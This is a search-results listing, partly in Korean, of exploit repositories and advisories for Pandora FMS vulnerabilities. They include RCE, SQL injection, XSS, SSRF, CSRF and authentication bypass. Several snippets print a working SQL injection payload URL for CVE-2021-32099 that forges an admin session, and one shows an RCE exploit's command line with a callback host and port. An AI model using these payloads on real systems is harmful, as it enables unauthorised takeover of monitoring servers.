1012 matches found
exploit-CVE-2020-5844
CVE-2020-5844 Pandora FMS v7.0NG.742 익스플로잇 - 원격 코드 실행 이 저장소가 마음에 드시나요? ⭐를 눌러주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 작성자 @UNICORDev 작성자: @NicPWNs 및 @Dev-Yeoj 취약점 설명 Pandora FMS v7.0 NG의 index.php?sec=godmode/extensions&sec2=extensions/filesrepo는 인증된 관리자가 악성 PHP 스크립트를 업로드하고, 파일 위치의 base64 디코딩을 통해 실...
pandorafms_7.44
Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE는 인증된 사용자가 이벤트 기능을 통해 원격 명령 실행을 달성할 수 있도록 합니다. 자격 증명 또는 PHP 세션 쿠키로 수행할 수 있습니다. 시작하기 프로그램 실행 자격 증명 사용 root@kitploit: python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337 PHP 세션 ...
Pandora FMS <=7.0NG.722 - Remote Code Execution
Pandora FMS versions =7.0NG.722 are vulnerable to unauthenticated remote code execution by chaining an unrestricted file upload CVE-2018-11221 and a local file inclusion CVE-2018-11222. An attacker can upload a malicious PHP file as a plugin and execute it via LFI, leading to full compromise of t...
CVE-2024-11320
CVE-2024-11320 Pandora FMS 원격 코드 실행CVE-2024-11320용 익스플로잇...
CVE-2021-32099
CVE-2021-32099 PoC 이 저장소는 CVE-2021-32099 취약점에 대한 개념 증명PoC 익스플로잇을 제공하며, Pandora FMS 742 에 영향을 미칩니다. 이 익스플로잇은 인증되지 않은 공격자가 SQL 삽입 취약점을 악용하여 권한이 없는 세션을 관리자 수준 계정으로 승격시킬 수 있는 방법을 보여줍니다. 관리자 액세스 권한을 획득하면 공격자는 Pandora FMS 파일 관리자를 통해 임의의 PHP 파일을 업로드하여 원격 코드 실행을 유발하고 웹 서버 사용자 권한으로 서버를 손상시킬 수 있습니다. ⚠️ 면책 조...
CVE-2022-45436
CVE-2022-45436 pandorafms 익스플로잇 제목: 반사형 크로스 사이트 스크립팅 날짜: 15/02/2023 익스플로잇 작성자: Damodar Naik 공급업체 홈페이지: https://pandorafms.com/en/ 소프트웨어 링크: https://github.com/pandorafms/pandorafms 버전: = v765 RRR...
CVE-2021-32099_SQLi
CVE-2021-32099 SQLi 로그인 우회 Pandora.htb 에서 User Flag 를 읽으려고 할 때 유용합니다. CVE-2021-32099 SQLi는 공격자가 로그인을 우회할 수 있게 합니다. 대상 공격 대상: Pandora FMS v7.0NG.742FIXPERL2020 분석 cvedetail에서 읽어보세요. 대상 엔드포인트를 알고 있습니다: http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=PayloadHere = Access...
CVE-2021-32099
CVE-2021-32099 CVE-2021-32099 POC : http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=a%27%20UNION%20SELECT%20%27a%27,1,%27idusuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessionsphp%20WHERE%20%271%27=%271 상세 정보 :...
CVE-2021-32099
CVE-2021-32099 pandora fms 742 sqli 사전 인증 POC root@kitploit: http://localhost/pandoraconsole/include/chartgenerator.php?sessionid=a' UNION SELECT 'a',1,'idusuario|s:5:"admin";' as data FROM tsessionsphp WHERE '1'='1 URL 인코딩 root@kitploit:...
CVE-2021-32099
poc : http://127.0.0.1:8888/pandoraconsole/include/chartgenerator.php?sessionid=%27%20union%20SELECT%201,2,%27idusuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained...
CVE-2026-75531 Stored Cross-Site Scripting in URL Observables via Lookyloo Submission Handler in Pandora
Pandora contains a stored cross-site scripting XSS vulnerability in the rendering of URL observables. A URL extracted from or associated with an analyzed file was inserted directly into the inline JavaScript onclick handler used by the Submit to Lookyloo action. Although the value was subject to...
CVE-2026-34187
Improper Neutralization of Special Elements used in an SQL Command vulnerability allows SQL Injection via graph container parameter. This issue affects Pandora FMS: from 777 through 800...
CVE-2026-30810
Server-Side Request Forgery vulnerability allows Privilege Escalation via API Checker extension. This issue affects Pandora FMS: from 777 through 800...
CVE-2026-30805
Insecure Default Initialization of Resource vulnerability allows Authentication Bypass via API access. This issue affects Pandora FMS: from 777 through 800...
CVE-2026-30807
Cross-Site Request Forgery vulnerability allows an attacker to perform unauthorized actions via crafted web page. This issue affects Pandora FMS: from 777 through 800...
EUVD-2026-29512
Improper Neutralization of Special Elements used in an SQL Command vulnerability allows SQL Injection via graph container parameter. This issue affects Pandora FMS: from 777 through 800...
EUVD-2026-29494
Insecure Default Initialization of Resource vulnerability allows Authentication Bypass via API access. This issue affects Pandora FMS: from 777 through 800...
EUVD-2026-29495
Cross-Site Request Forgery vulnerability allows an attacker to perform unauthorized actions via crafted web page. This issue affects Pandora FMS: from 777 through 800...